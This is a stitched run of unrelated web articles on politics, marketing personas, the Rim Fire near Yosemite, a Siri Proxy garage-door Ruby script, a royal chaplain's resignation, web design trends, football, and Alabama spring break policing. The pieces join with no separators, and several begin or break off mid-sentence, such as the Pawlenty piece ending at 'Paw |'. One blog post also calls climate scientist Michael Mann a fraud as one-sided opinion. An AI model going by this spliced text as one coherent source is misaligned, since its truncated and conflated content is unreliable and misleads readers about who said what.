Hurricane Katrina."Let me be clear, we have not eliminated black poverty in Texas, but we have made meaningful progress," he said.The National Democratic Party was quick to point out other aspects of Perry's 14 years as governor that deeply effected Texas' black population, including his signing a restrictive Voter ID law that federal judges have found intentionally discriminated against minorities."Reminding black voters that Abraham Lincoln signed the Emancipation Proclamation isn't going to erase Rick Perry's record," said Michael Tyler, DNC director of African-American media.Gary Bledsoe, president of the Texas NAACP, said that black leaders and Perry were not always in agreement, but that they found common ground on a number of issues.They fought over how minorities were represented in redistricting, not expanding Medicaid coverage, the 2011 $5.4 billion cut to public education and the emphasis on high-stakes public education testing, Bledsoe said.At the same time, Perry supported in-state college tuition rates for children of illegal immigrants, appointed Wallace Jefferson as the first black Texas Supreme Court chief justice and signed bills to fight racial profiling and to create a hate crime law in Texas.Bledsoe said Perry even invited him to participate in a book club and "that was a positive experience."What are personas (and do they really matter)?
I’ve been working in copywriting for several years now, but it wasn’t until three(ish) years ago that I stumbled across a new word, ‘personas’ which, as a writer, was a rare delight.
It was during the time I first started on my HubSpot journey, a world in which the word ‘persona’ is commonplace. However, just because I was familiar with this particular buzzword and its meaning, didn’t mean my clients were.
And the same can still be said even now, despite the fact that understanding and developing personas is now widely recognised as being integral to delivering successful inbound marketing strategies.
What are personas?
‘Personas’ or ‘buyer personas’ are (in the words of inbound marketing specialists, HubSpot):
‘Fictional representations of your ideal customers. They are based on real data about customer demographics and online behaviour, along with educated speculation about their personal histories, motivations and concerns.’
And (in my words) they are:
‘Your target audiences, whether that’s managing directors, procurement managers or sales team leaders, personas are the people you are targeting with your messaging.’
Do they really matter?
So, now that we have a top-level definition of what personas are, I bet you’re thinking, that’s great, but should I really care?
The answer is yes, and here’s why.
Identifying who your personas are (ideally you should have around three to four key personas) means you can better understand their buyer journey because you’ve identified key information about them, such as their pain points and challenges. Having this insight enables you to produce and segment content that relates to your personas depending on where they are in their buyer journey. Taking this approach will, in turn, ensure your content is:
Relevant to your personas
Useful (i.e. helps your personas find particular information or answer specific questions they might have at that moment in time)
Appealing (because it’s focusing on a theme or pain point they need to address or overcome)
Written using language and a tone of voice they can instantly relate to (for instance, the messaging and terminology I’d use for managing directors is different to the type of content I’d produce for procurement managers)
How do I create them?
If you Google persona mapping, you’ll find there are lots of ways (546,000 when I just Googled) in which you can go about creating personas, basically, there’s no set rule for how you go about it.
However, there are some best practice methods you can follow that I’ve picked up along the way. Here are some of them to help get you started:
Split your information – there are two banks of information you need to gather about your personas. The first is demographic (which helps you learn about their personal background) and the second is psychographic (which will help you establish a picture of their habits and buying behaviour).
Obtain first-hand information – the most effective persona profiles are based on industry insight and real information from your existing customers. There are various methods you can use to obtain this information, such as questionnaires or face-to-face interviews/persona sessions.
You can also identify key trends from your contacts database, analyse feedback from your sales team and interview prospects (not just your existing customers) to find out what they most like about your offering compared to the competition.
Build your profiles – create, or use an existing template, that enables you to present your information in a consistent way. Give your personas a fictional name so that you can easily identify them (make sure it’s a real name so the persona feels like a real person, such as Production Manager Peter or Sales Director Simon).
Headings you might want to use include: background, demographics, goals, challenges and pain points, how you help, common objections and marketing messages (including your elevator pitch). Don’t forget, the more information you provide, the more informed your personas will be.
While identifying your personas may be an exercise that, if done correctly, can take some time to do, it’s an exercise that can deliver significant rewards, regardless of your business size or type.
Got any questions or want to find out more about the relationship between personas and content marketing? Complete the contact form or email me at sanina@skcopyco.com. In the meantime, check out, ‘Tips for writing landing pages that people actually want to land on.’I’m not sure there’s any argument to say Michael Mann’s work isn’t fraudulent. I tend not to do it myself because I don’t think it’s necessary, but it’s certainly a defensible position. Consider:
1) When Michael Mann published his 1998 temperature reconstruction, he said:
the long-term trend in NH is relatively robust to the inclusion of dendroclimatic indicators in the network, suggesting that potential tree growth trend biases are not influential in the multiproxy climate reconstructions.
This statement was untrue. Mann’s results were entirely dependent upon a relatively small amount of tree ring data. Not only do we know this now, we know Michael Mann became aware of it shortly after publishing his paper. On page 51 of his book, Mann tells us after MBH98 was published, he performed tests that:
revealed that not all of the records were playing an equal role in our reconstructions. Certain proxy data appeared to be of critical importance in establishing the reliability of the reconstruction–in particular, one set of tree ring records spanning the boreal tree line of North America published by dendroclimatologists Gordon Jacoby and Rosanne D’Arrigo.
It’s not clear how Mann managed to make the false claim in his original paper, but he was obligated to inform people of its falsity. We could perhaps forgive not correcting an earlier mistake except Mann went on to publish his 1999 paper, extending the 1998 reconstruction back another 400 years. By building upon his 1998 paper while knowing it made false claims about his results, Mann committed fraud.
Anyone reading MBH99 would be directed to MBH98 for information about the reconstruction. MBH98 contained important claims about his results Mann knew to be false (at the time he published MBH99). It is perfectly reasonable to say by directing people to information about his results he knew to be false, Mann committed fraud.
2) Michael Mann was responsible for text in the IPCC TAR which said:
Mann et al. (1998) reconstructed global patterns of annual surface temperature several centuries back in time. They calibrated a combined terrestrial (tree ring, ice core and historical documentary indicator) and marine (coral) multi-proxy climate network against dominant patterns of 20th century global surface temperature. Averaging the reconstructed temperature patterns over the far more data-rich Northern Hemisphere half of the global domain, they estimated the Northern Hemisphere mean temperature back to AD 1400, a reconstruction which had significant skill in independent cross-validation tests.
Mann knew perfectly well his reconstruction failed r2 verification, a test he used multiple times in MBH98. By saying his reconstruction “had significant skill in independent cross-validation tests” while hiding the fact his reconstruction failed one of his own cross-validation tests, Mann committed fraud. That was fraud even if we ignore the fact Mann went on to lie about it and repeatedly try to cover up the fact he did calculate those scores.
We don’t have to call what Michael Mann did fraud if we don’t feel like focusing on the word, but if we are going to focus on the word, what Mann did was fraud.
I originally wrote this as comment at Judith Curry’s blog. I thought it made for a good overview so I’ve decided to post it here as well. It’s worth noting the numbered points are both links to previous posts which give more detail.
AdvertisementsPristine Yosemite spots might be left to memories
A tent sits near Lake Eleanor just inside the Yosemite National Park boundary before the Rim Fire burned throughout the area, taking all of the walk-in campsites around the lake with it. A tent sits near Lake Eleanor just inside the Yosemite National Park boundary before the Rim Fire burned throughout the area, taking all of the walk-in campsites around the lake with it. Photo: Michael Furniss, Courtesy Photo Photo: Michael Furniss, Courtesy Photo Image 1 of / 3 Caption Close Pristine Yosemite spots might be left to memories 1 / 3 Back to Gallery
The wild country where so many have felt the ghost of John Muir is now at risk of burning up.
The Rim Fire, on its way to being one of the biggest wildfires in California history, is devouring so much land that you probably know somebody or some place directly affected by it.
You may have camped, boated and fished at Cherry Lake, or may have hiked and swum at Lake Eleanor. Or been among the few to canyoneer below the Poopenaut Valley in the Tuolumne Canyon, rafted Cherry Valley or bought a cold drink at the store at Camp Mather. The forest there has been rendered to cinders.
The coming days will tell yet another tale.
In western Yosemite, if you have ventured from Hetch Hetchy up past Beehive, or beyond the Hetch Hetchy Dome to the Tiltill Valley and nearby Mount Gibson and beyond, you may have felt the presence of Muir. This was his church, where America's great mountaineer, conservationist and glaciologist ventured alone to find divine blessing. That region is now at risk.
Some people think that all fires are good or that all are bad, but each one has to be assessed as unique. The Rim Fire, a fast-moving inferno, has destroyed 200,000 acres of forests that will take 25 to 100 years to regrow. What's left behind are burning stumps and smoking tree skeletons. The fire rages and rampages, and wildlife will try to outrun the flames (or hide in the ground) to survive. Some won't make it.
Over time, what is ideal is the opposite, lots of small, low-heat fires that burn off chemise, manzanita and pine needles. These small fires recharge the soil with nitrogen, give rise to fresh browse for wildlife and clear brush for migration routes. Small, low-heat ground fires do not kill the big trees or devastate wildlife, watersheds and infrastructure.
With the Rim Fire, memories have a way of eating at your mind. Those who have camped in this area can tell you how the wildfire destruction is heartbreaking.
Last year, I drove all the forest roads and jeep roads in the area, from Camp Mather to the remote east side of Cherry Lake, near a trailhead into Yosemite and to Lake Eleanor. This wild country was stunning, with its deep Tuolumne canyons and the gorgeous streams at their bases, edged by rich forests that reached skyward up the steep terrain to the ridgetops. The view over Cherry Lake and across the surrounding forest was idyllic. Most of that burned to a crisp last week.
From the east side of Cherry Lake, we then hiked over a ridge into Yosemite to Lake Eleanor and camped on a peninsula on the western shore. It felt like paradise. We had passing visits from wildlife, and the world seemed at peace. All that is gone. At midweek, the fire burned right down to the shore of the lake and destroyed all the hike-in campsites.
From the shore of Lake Eleanor, we crossed over the dam, headed past the head of the lake and up a ridge, where we encountered a bear that scampered off. All of that burned, and the bear, like all wildlife, will try to outrun the fire.
We then camped at Laurel Lake, Lake Vernon, crossed over the top of Mount Gibson and descended into the Grand Canyon of the Tuolumne and to Hetch Hetchy Reservoir. Over the weekend, I'll post photos of the trip at www.sfgate.com/outdoors to show what the area looked like before the big fire.
Along the southern reaches of Hetch Hetchy, the forests have burned up to the bare granite backsides of 7,751-foot Smith Peak and towering Kolana Rock.
Just north of Hetch Hetchy is 8,412-foot Mount Gibson. The trail does not rise for a summit view, but instead is nearly flat on top and is routed for a mile amid lush, waist-high bracken ferns below an old-growth pine forest, and aside creeks and pristine meadows with wildflowers. It is one the most special places I have been.
At one point, to stop time and take in the moment, I sat against a scraggly pine, hundreds of years old. I felt an unmistakable sense of the presence of those who had passed before in this spot. I imagined Muir here, at what he called "a bee garden." I also felt others who had been here and taken a piece of it with them in their hearts forever when they left.
A lot of people know how this feels. As the fire advances, I keep thinking about that old pine I leaned against on Mount Gibson while I soaked up Muir's bee garden, and whether it will be spared.
If you love the area where the Rim Fire is burning, you probably check the updated fire maps often to see its progress. You too may have a special memory from a place that is threatened.
At the Camp Mather Store, I remember the happy smile and the inevitable wisecrack from the guy who sold me a beer. With everything scorched black around Camp Mather, one wonders how the place will function, and what the future holds.
Above Hetch Hetchy, there is an area that spans roughly from above Wapama Falls to Lake Vernon where the forest transitions to a glacially sculpted granite plate. There are many paths the fire could take, but one hope is that it hits that granite, runs out of fuel and stops its eastward surge through the park.
With wildfires, we're all prisoners of hope. They are the scariest things I know to live with, worse than earthquakes, hurricanes, tornadoes and floods, and you can only hope that the places you treasure are spared.Looking for news you can trust?
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Tim Pawlenty has a new campaign motto. In a slick video officially announcing his bid for the 2012 GOP presidential nomination, Pawlenty notes that he could unveil his candidacy with a big speech replete with balloons (“red ones, white ones, and blue ones”), pass out cupcakes, and promise to eliminate a $14 trillion debt, create jobs for 10 million Americans, and restructure Social Security and health care “all without making any tough decisions.” Or, he says, “I could try something different. I could just tell you the truth.” What truth? That “our country is in big trouble,” with too much debt and too few jobs. And to emphasize that Pawlenty is the truth-telling candidate, his campaign attached this slogan to the video: “A time for truth.”
This is clearly a consultant’s concoction: Let’s position you, Governor, as a guy who tells it as it is. In the two-minute video, Pawlenty repeatedly bangs this drum, saying that he will launch “a campaign that tells the American people the truth.” But do voters want truth or do they want action—more jobs, say? In the personal integrity department, President Barack Obama tends to rate well in public opinion surveys. In a recent NBC news poll, 51 percent rated Obama “very good” when asked if he is honest and straightforward. Only 29 percent granted him a “very poor” rating on this front. Obama has scored higher in the past; 64 percent dubbed him honest in an April 2009 survey. But his personal reputation has not been much of a political problem. CNN polling director Keating Holland noted in January that a survey conducted for the cable network “tested Obama on a variety of personal characteristics, and he gets high marks for honesty, sincerity, leadership skills, and compassion.” Americans, the poll found, could disagree with Obama’s policies and still think of him as honest and stalwart.
By trying to depict the former Minnesota governor as a truthier guy than the man in the White House, Pawlenty—and his aides—might be attempting to exploit a problem that doesn’t exist. (Though they may also be aiming at Republican frontrunner Mitt Romney, who has a history of flip-flopping on issues important to social conservatives, including gay rights and abortion rights.) Emphasizing straight talk as the critical matter also comes with a potential cost. It inevitably invites greater scrutiny of the candidate who’s boasting of his honesty, and Pawlenty is hardly more truth-loving than the average presidential candidate.
Factcheck.org, a nonpartisan outfit that vets the statements of politicians, reports that in recent months “we have found [Pawlenty] straying from the facts.” The group provided several examples:
In January, Pawlenty told Fox News that he “never did sign a bill relating to cap and trade” climate action when he was governor. But he did sign legislation in 2007 to set up a task force that would produce recommendations for how his state could implement a cap-and-trade regimen. He also signed a multi-state compact to “develop a market-based and multi-sector cap-and-trade mechanism.” As Mother Jones reported, at a Republican presidential debate earlier this month, Pawlenty claimed—falsely—that while governor he merely backed the “study” of cap and trade. He went on to apologize to Republican voters for his support of this policy.
Earlier this year, Paw |
automatic garage door system. So, I have control of the door with Siri on my iPhone."
The system is set up to work only over Wi-Fi, but he says it "would be possible to use this over cellular with a VPN." After installing Siri Proxy and wiringPi, he modified the code in one of the example Ruby scripts that comes with Siri Proxy to include commands specific to his garage door setup.
Here's the code he used:
listen_for /open the garage door/i do say "Opening the garage door.." request_completed system("gpio mode 1 out") system("gpio write 1 1") system("sleep 0.5") system("gpio write 1 0") end listen_for /close the garage door/i do say "Closing the garage door.." request_completed system("gpio mode 1 out") system("gpio write 1 1") system("sleep 0.5") system("gpio write 1 0") end
That type of script can be modified to control all sorts of devices. "As you can see, the ruby script is basically calling'system' commands to access wiringPi," DarkTherapy wrote. "Setting a GPIO pin as an output then setting it high for half a second then low again. You can have Siri call any command you can type in a terminal window, such as a passwordless SSH login to a remote pc to have it shut down or rebooted."
For more home automation fun, check out these projects for controlling a coffee machine, creating an e-mail notifier light, a sunrise/sunset timer for Christmas lights, and a Pi-powered alarm system.
Listing image by Trevor JohnsonLess than a week after one of the Queen’s Chaplains spoke out against an Islamic Prayer denying the divinity of Jesus Christ being read out in a Scottish Cathedral, the senior churchman has tendered his resignation from that office.
Former Chaplain to Her Majesty the Reverend Gavin Ashenden announced his resignation on his personal blog on Saturday night, anticipating that a BBC Radio 4 segment on him and the controversy surrounding the Quranic readings in a Scottish Cathedral to be broadcast on Sunday morning would reveal his resignation despite his requests to the contrary. Remarking that the decision to step down was “the most honourable course of action” and had come after years of “attempts to silence or defenestrate me”, Rev. Ashenden said he had spoken out in the past on controversial matters as a “matter of integrity and responsibility”.
Earlier this week Rev. Ashenden called the decision to allow sung prayers from the Quran in a Scottish Cathedral service that demands Allah is worshipped and denies the divinity of Jesus Christ, “blasphemy”, and said the Cathedral should apologise to persecuted Christians worldwide.
In a letter published in The Times, the Rev. said: “Quite apart from the wide distress (some would say blasphemy) caused by denigrating Jesus in Christian worship, apologies may be due to the Christians suffering dreadful persecution at the hands of Muslims in the Middle East and elsewhere.
“To have the core of a faith for which they have suffered deeply treated so casually by senior Western clergy such as the Provost of Glasgow is unlikely to have a positive outcome”. In an article for the Jersey Evening Post titled ‘The Choice is Between Jesus and Mohammed’ penned shortly afterwards, the priest called the decision to choose that particular Quran reading to be read on the Feast of the Epiphany a “glowing cherry of offence to the iced cake of incompetence”.
Now his opposition to the Muslim prayer in a British Cathedral has brought the churchman’s tenure as a chaplain to the Queen to a premature end.
Rev. Ashenden said he’d had a conversation “instigated by officials at Buckingham Palace”, and it had been made clear that he could not continue to speak out on faith issues of the day, as his position as one of 32 Queen’s chaplains could compromise the political neutrality of the Monarch.
While he had defended himself from such charges in the past by asking “in what way is a priest defending the faith on behalf of a monarch who was Defender of the Faith, incongruous or improper?”, the clear choice between silence while enjoying a “public honour” and speaking the truth had to be made. He told BBC Radio 4:
“I think it’s clear to me that accepting the role as a chaplain to the Queen does not give one a platform where one can speak controversially in the public space. So, in those circumstances one has to choose between whether one wants to accept an important honour or whether ones chooses to continue a debate in the public space.
“I am fairly clear in my own mind that my duty to my conscience, to my orders, to my understanding of Christianity and my vocation, is that I’m supposed to be speaking out in the public space on behalf of the Christ I serve”.
The Reverend Ashenden has been a target of controversy for his outspoken views on faith in the modern world for some years. The Independent reported in 2015 on his remarks on Islam, which he said “invites people to violence”, and that passages in the Quran “tell you to kill your enemies”.
When warned his comments could be found offensive by practicing Muslims, the Rev. replied: “If they are offended by my quoting the Koran they are not offended by me, they are offended by the Koran”.2010 has been an incredibly verdant year for web designers. Mobile has hit the mainstream; Web typography has reached new levels of sophistication; New coding techniques have vastly improved our ability to get creative with design (without compromising stability). All in all, it's been a year that's moved fast, even by the standards of the web, so let's dig in to our first annual post covering the state of web design as 2010 turns to 2011.
The Death of the Fold
The traditional "fold" (the imaginary line on a screen that designates what content is visible before a viewer needs to scroll) became vague, unimportant, and nearly irrelevant in 2010.
Why? Because the traditional "screen" that people view the web through has undergone an explosion of variety... no longer can we expect web-surfers to be on something close to a 19" monitor with a resolution somewhere between 1024x768 and 1280x700. Screens nowadays come in all shapes and sizes, from iPhones (and smaller phones) to 60" HDTVs. It's not just resolution that can vary wildly though; the very aspect ratio of a screen (even on the same device like the iPhone) can change with the flick of the wrist. Sure, web designers will always be advised to keep the most important messages of a site near the top, but with so many new ways for web-surfers to view the web, there's no longer a defined height for where content must be above.
We'll be discussing this topic in a lot more detail this month, so subscribe (it's free) to stay tuned :)
Mobile Sites
Sites have been being designed for mobile scenarios since the inception of mobile devices... but 2010 has seen a huge push towards entire sub-sites that are designed specifically to be viewed on small, handheld screens. You can thank the iPhone for starting this trend, but the wave of "mobified" sites is spreading like wildfire.... and come this same time next year, I'm sure you'll be hard-pressed to find a major publishing site without a mobile companion site.
What's neat about mobile screens is that it forces designers to get creative with a relatively small amount of real estate. Succeeding in the mobile environment isn't tough if you keep a few rules in mind: Messages need to be conveyed quicker and with more efficiency; Links have to be designed for a touchscreen environment; and text needs to become legible (or at least effectively zoomable). Here are just a few examples of mobile sites:
You can read a LOT more about mobile design at our sister site: Mobile.tutsplus.com!
SubTrend: Tabletified Sites
Just like 2010 saw an explosion of mobile site designs, it can be expected that as consumers pick up tablets more often, major websites will follow suit by creating sites (and apps) designed specifically for a medium sized touch-screen environment.
A Typographic Explosion
Alright, I guess you could make the claim that "typography will explode" each and every year... but 2010 has seen a few major changes to the underlying technology that actually make this claim legitimate. Primarily, the huge amount of growth of font-replacement technology over the last year and the mass adoption of "fonts as services" where third party companies host fonts (and licenses) that designers can use in live development environments. You could also say that designers are getting a lot more bold with typogrpahy as well... with more and more designs coming out lately that blur the line between print-4design and web design.
You can read more about this how to navigate the wide variety of these awesome new typography solutions here. Let's check out some examples (some using font replacement, others using other methods):
SubTrend: Print Design Inspired Sites
This was all the rage in 2009 - 2010, but the "print revolution" is alive and well on the web, and more and more sites are being designed to mimic great print designs, such as magazines, posters, fliers, and more.
Desktop Application UI Influence
If I were a betting man back in 2009, I would have put all my money into apps... iPhone apps, Android apps, Apple apps, PC apps, web apps... the software environment seems to have gone completely berserk over the past year or two. All of this excitement over creating applications has trickled into the web design style-lexicon in an interesting way: where once the web looked, well, like a website, nowadays it can often look more like an application. Everything from modal windows, context menus, OS inspired buttons, and more are being brought into the web design environment in new and exciting ways... the end result: sites that feel more user friendly and natural.
Grid Intensive Layouts
Grid layouts aren't new to 2010 (or even 1980), but web designers are starting to break away from traditional web layouts (header, content column, sidebar, footer) in favor of more unique, grid driven layouts. What started out with the 960.gs movement has quickly spread to grid systems that can actually adapt to the viewers screen resolution.
Massive Images
Here's another trend that's been happening for more than just this last year. Massive images were once taboo for web designers, but thanks to better image optimization, faster internet connections, and smarter loading methods, designers can gain a lot in some sites by pushing image sizes to the max.
More than just "big images", we're beginning to see more trending towards sites that use vast illustrative (and photographic) backdrops that are as a part of the actual experience as they are simply additional artwork.
Immersive Script Integration (jQuery Sliders, etc.)
Coded plugins used to be an afterthought in most web designs... you would finish a mockup, then replace an image with a slider if you could find a great plugin for it. Nowadays, entire designs can be based on scripts and plugins that do more than "add something" to a design... they can define the entire website experience.
Here are just a couple examples of sites that don't just add script interactivity, they make it the foundation of the site:
You can read a lot more about jQuery and other script integration tricks at our sister site: Net.tutsplus.com!
CSS3 Hits the Mainstream
If I had a dime for every CSS3 article I saw in 2010, I'd be swimming in a pool of them. While CSS3 mass adoption is still a little ways off (here's a handy link to see what browsers have adopted what parts of CSS3), designers haven't hesitated to start using some of the fantastic new features. Everything from rounded corners, box shadows, glow effects, CSS3 animation, @font-face, and more have started popping up in designs all over the place. here's just a handful of examples:
You can read a lot more about CSS3 tricks at our sister site: Net.tutsplus.com!
Texture, Texture, Texture
Textures aren't new, but as each year passes we see it being integrated in new and interesting ways. 2010 saw a lot of the "subtle noise" texture, but more than anything, we're beginning to enter a style phase where more designs are starting to feel "touchable". This doesn't necessarily mean that big, file-heavy textures are being used... instead, we're seeing more subtle, well designed textures that repeat naturally.
Infographic Driven Designs
I've always been a huge fan of infographics, so it's nice that we're starting to see them being integrated into web designs as more than just attachments. I think there's a lot of opportunity for new and exciting ways of infographic site integration, so keep an eye out for these designs in 2011.
Single Page Sites
3D Environments
This is more of a novelty than a trend... 3D based sites are fun to use, but aren't entirely accessible from some browsers and devices. That said, there are some fun new things happening in the way of three dimensional environments, so they're worth checking out, even if you won't be seeing them on your iPhone anytime soon ;)
Social Media Convergence
The last trend that I'm going to mention isn't one that requires much in the way of screenshots... mainly because the shift is more strategy than substance. While this trend has been happening for years, things seem to be coming to a head at the moment... and the fate of the future of the internet is going to be decided.
What I'm talking about is "social media convergence", or rather, the pattern of brands and businesses focusing their efforts on social media sites (rather than their own independent sites). Instead of individual domains, we're beginning to see more and more businesses moving to strategies that either are based on sites like Facebook, or are at the very least integrating social features in a way that is 100% reliant upon the social media sites.
...instead of an internet composed of millions of different and unique sites, we could end up with a handful of "mega-sites" that everyone (individuals and businesses alike) simply have a page on...
This makes sense for a number of businesses; it's a whole lot easier to get people to discover and visit your Facebook or Twitter page than it is to have them stumble upon (pun intended!) your own domain (ie: myownawesomewebsite.com/me). The winners of this trend are, of course, the big social media sites who gather up more and more traffic. The losers? Well, if this trend continues, the losers could very well be anyone who doesn't jump on the bandwagon... so instead of an internet composed of millions of different and unique sites, we could end up with a handful of "mega-sites" that everyone (individuals and businesses alike) simply have a page on.
Let the Discussion Begin!
Alright, so I've just hit the tip of the iceberg for all of the great trends happening in 2010, and I'll be the first to admit that I'm sure I missed something. Post your comments, thoughts, trends, and anything else in the comments section and I'll be taking any really great comments into account when it comes time to edit this post later on!
Happy 2011!Look what I found!
When sifting through some old football stuff I came across a 1998 ESPN The Magazine Draft Preview edition. There is some stuff in there that is mildly interesting in a general sense looking back at the perceived wisdom before that year’s Draft, but of course the thing that captivated my interest most of all was what the Magazine though about the Manning vs. Leaf debate at the time – before the benefit of hindsight.
Frankly it’s staggering. The red flags surrounding Leaf jump off the page, even in an article that doesn’t in the slightest set out to bring him down.
Leaf readily admits to not working out at all for two months following his Bowl appearance, touring the banquet circuit, schmoozing and partying, and balooning up to 260+lbs. This in stark contrast to Manning who presumably never left the gym in that period. Despite all of this, people were still more captivated by Leaf’s penchant for the unconventional, perhaps led down that path by the success Brett Favre was having in the NFL at the time. The unorthodox but spectacular was more appealing than the guy who just delivered the ball to the open guy play after play. People wanted excitement in their QB.
In an ESPN SportZone poll asking who the best player in the upcoming draft was, 64% of people answered Leaf compared to just 36% that plumped for Manning from over 45,000 respondents. That’s a colossal goof by everybody, not just the insiders evaluating the two quarterbacks. Leaf was seen by many as the better prospect, not just by a select few lunatics or people that didn’t correctly do their homework in the lead up to the Draft.
The article sets out to make the distinction between the two players as one between preppy, perfect Manning and maverick, uncontrollable Leaf, but it seems far too ready to dismiss the obvious issues Leaf had as simply a wild-child attitude, rather than a serious impediment to his future success.
The interview with Leaf actually takes place in a jacuzzi, with the reporter vividly describing the belly Leaf had developed despite losing around 15lbs from his peak girth after the college season. The idea that any top prospect today could balloon to more than 20lbs out of shape is practically beyond belief, yet this seemed to be barely given any significance in the article, rather portrayed simply as a colourful anecdote.
A coach who nailed Leaf perfectly was described as “one curmudgeon offensive coordinator”, while the article concludes by lauding Leaf’s “don’t give a crap attitude”, before actually claiming he would be the player striding up to a podium in Canton in 2018 rather than Manning (whoops!).
Anyway, Rather than relay everything to you, I’ve scanned the entire article and will post the images below. Enjoy the read, and let it serve as a reminder this week of just how wrong everybody can get it.GREEN BAY, Wis. -- The Green Bay Packers plan to stand pat with Richard Rodgers and Justin Perillo at tight end -- for now -- with the hope that Jared Cook will return on the early end of the 4-to-6-week window that’s being projected for his ankle injury.
“That’s the plan as I stand here today,” coach Mike McCarthy said Wednesday.
Get the latest NFL injury news Who's out? Who's good to go? Who's questionable? We have all the latest injury news from around the NFL. Injury Wire
Cook sprained his right ankle in Sept. 25 game against the Detroit Lions. During last week’s bye, the Packers consulted noted foot/ankle specialist Dr. Bob Anderson, who performed last year’s surgery on Packers receiver Ty Montgomery, and confirmed that Cook should be able to return without surgery.
McCarthy’s comments came on the heels of Kellen Winslow Jr. telling TMZ Sports that he hopes the Packers will sign him. The Packers worked out Winslow in August near where the former first-round pick had been training in San Diego. Their West Coast-area scout, Sam Seale, put Winslow through a series of drills.
Winslow last played in the NFL in 2013 with the New York Jets. He had 31 catches, including two touchdowns, in 12 games. He missed four games that season because of a suspension for violating the NFL's policy on performance-enhancing drugs. He also was arrested that year for possession of synthetic marijuana. In the police report he was accused of lewd conduct, but no such charges were filed.
Winslow, 33, had his best season with the Cleveland Browns in 2007, when he caught 82 passes for 1,106 yards and five touchdowns. That came three years after he suffered a broken leg early in his rookie season of 2004 and missed all of 2005.
It's possible the Packers could revisit Winslow should their situation change before Cook's expected return.
The Packers worked out two tight ends on Tuesday – veteran Rob Housler, a former third-round pick, and rookie J.P. Holtz – but did not make a roster move before Wednesday’s practice. They have one tight end, rookie Devon Cajuste, on their practice squad.With Panama City Beach clamping down on spring break hedonism, should the Alabama coast be bracing for a season of mayhem?
That fear has been raised lately among some in the Gulf Shores-Orange Beach area, but local officials say they don't see much cause for concern - and they say they're fully prepared to shut down any public misbehavior that could damage the area's carefully cultivated reputation as a family-friendly destination.
"If you come here, you better behave, or you're going to jail. It's that simple," said Orange Beach Mayor Tony Kennon. "And we're not going to put up with the nonsense Panama City puts up with. We will have undercover officers, we will have uniformed officers, we will have everyone I can possibly have on the beaches, any place where spring breakers might gather. That is not who we are. We are a family friendly destination, that's what we're going to stay. This is not a place to come have MTV fun like you did in Panama City."
One source of concern: A poll on Oldrow.net, a site dedicated to exactly the topics you'd expect to be of interest to a heavily stereotypical constituency of Southern fraternity guys. The question was, "Where y'all headed for Spring Break this year? (RIP PCB)." Gulf Shores led the voting with 48 percent. As unscientific as the poll might have been, the result was enough for it to start circulating locally via social media.
There's also another factor heightening concerns in some quarters: Compared to some years when major Southeastern universities spread spring break over several weeks, this year things seem to be much more focused. The week starting Sunday, March 12, is break for a heavy slate of schools including Auburn, Clemson, Alabama, the University of Kentucky, the University of South Alabama, the University of Tennessee, the University of Texas and Mississippi State University.
"I do think more people will be here," Jenifer Surface-Ivey, publicist for Flora-Bama Lounge & Package, said of the scheduling. "We're excited about it."
She downplayed the notion that a storm was brewing. After all, spring break is a business opportunity for local businesses and cities alike. Preparation, from having enough staff in place beforehand to keeping the beaches clean during and after the party, is the key to making it a win-win for the communities and their visitors. "The city and us here, we kind of have our plan in place," she said.
There are other reasons to be skeptical that a barbarian invasion of Pleasure Island is on the way. For one thing, Panama City Beach isn't dead, or even closed.
Spring 2015 was a wild season in the Panhandle. Panama City Beach drew national attention for, among other things, a video that officials said showed the gang rape of an incapacitated woman as a crowd of bystanders did nothing and a shooting spree at a house party.
In April, a police official said the area had become a "war zone" and called for major changes. The following crackdown included some significant measures, including a ban on alcohol on the beach. The situation isn't fully resolved: Beach clubs taking the brunt of the changes are suing to have the new rules overturned. According to a recent report in the Panama City News Herald, their arguments include claims that the laws are racially motivated and that tighter hours for alcohol sales are a violation of free speech.
The upshot? Plenty of activities aimed at the college crowd, such as major beach concerts, still will be offered in Panama City Beach this year. But according to another News Herald report, locals are dreading as much as a 50 percent slump in business, and some are working for a long-term transition to being a more family-oriented destination.
Where does that leave Gulf Shores and Orange Beach? The answer seems to be: wary, but prepared.
"A lot of beach markets are bracing themselves because we really don't know what's going to happen as a result of Panama City Beach changes," said Joanie Flynn, vice president of marketing for Gulf Shores & Orange Beach Tourism. "We don't think that we will be a logical place for them to come, because we're just not set up the same way we are over there."
Flynn said it will be a few weeks before tourism officials get a good sense of how booking rates are running this year. But the Alabama coast doesn't have the kind of monster beach clubs that draw thousands to some other markets, such as Panama City Beach, she said. Rental policies tend to be tight, and the area has worked for years to maintain a wholesome reputation.
Other officials, such as Kennon, said the critical thing is to establish right up front that law and order will be firmly maintained. The Orange Beach mayor said that last year, his city fired the first shot well before spring break.
Orange Beach Mayor Tony Kennon
"We did send a message," Kennon said. "We put our police and undercover officers out in force over the Easter holiday, and we had over 100 arrests on the beach and in places where young adults were gathering with drugs and alcohol, and we made a point. And we made it very public, what we were doing. And I think they got the message."
Maybe not everybody did. Last year's spring break incidents included police interventions at some large-scale parties and one memorable case in which Mobile County sheriff's deputies intercepted four underage LSU students on the way to Gulf Shores with more than 100 cases of beer and additional liquor.
Grant Brown, director of Gulf Shores' Recreation & Cultural Affairs Department, said the city had a good plan of action last year and is building on it this year. It starts with having a very visible law enforcement presence on the beach, and a multi-point effort to keep the sands pristine.
"Keeping the beaches clean, part of that is making sure that the large congregations, the parties that are on the beach, are respectful of the environment and respectful of the people that are down there," he said. "Everybody wants to have a good time, we'll allow people to have a good time, we're not going to stand for people getting crazy, and glass bottles on the beach, and the trash that gets typically left behind."
Kennon, typically, was more forceful: "We're absolutely going to enforce it," he said. "No glass bottles on the beach. If you bring a glass bottle on the beach, you're going to get a ticket. If you bring a glass bottle on the beach and you're intoxicated, you're going to jail. I can't be any more blunt or straightforward. I just want them to know they have been warned. This is not going to be a place of mayhem... That's just not going to happen."
"One very new thing for us is a program called 'Leave Only Footprints,'" said Brown. "It's an ordinance that went into effect in October... every night, one hour past dark, personal property has to be removed from the beach every night. Say, for instance, if you want to bring one of those tents, and you put a tent behind the beach house or a tent behind the condo, you can do that - but every night, it's got to be picked up and brought back up to your lodging location. If it's not, the cities will come by and remove it. And it's gone. It's been a successful program on the Florida beaches over the past year or so, and it's finally gotten to us."
In other words, you can't build your own little compound and leave it out for multi-day use. The idea is that if all the tents, coolers and chairs have to come in overnight, they're less likely to get blown around by the wind, or become magnets for clutter, or to just be abandoned when their owners head for home.
"It'll upset a few people," Brown said. "But overall it's been very well received by the local residents and even some of the snowbirds that are here now"
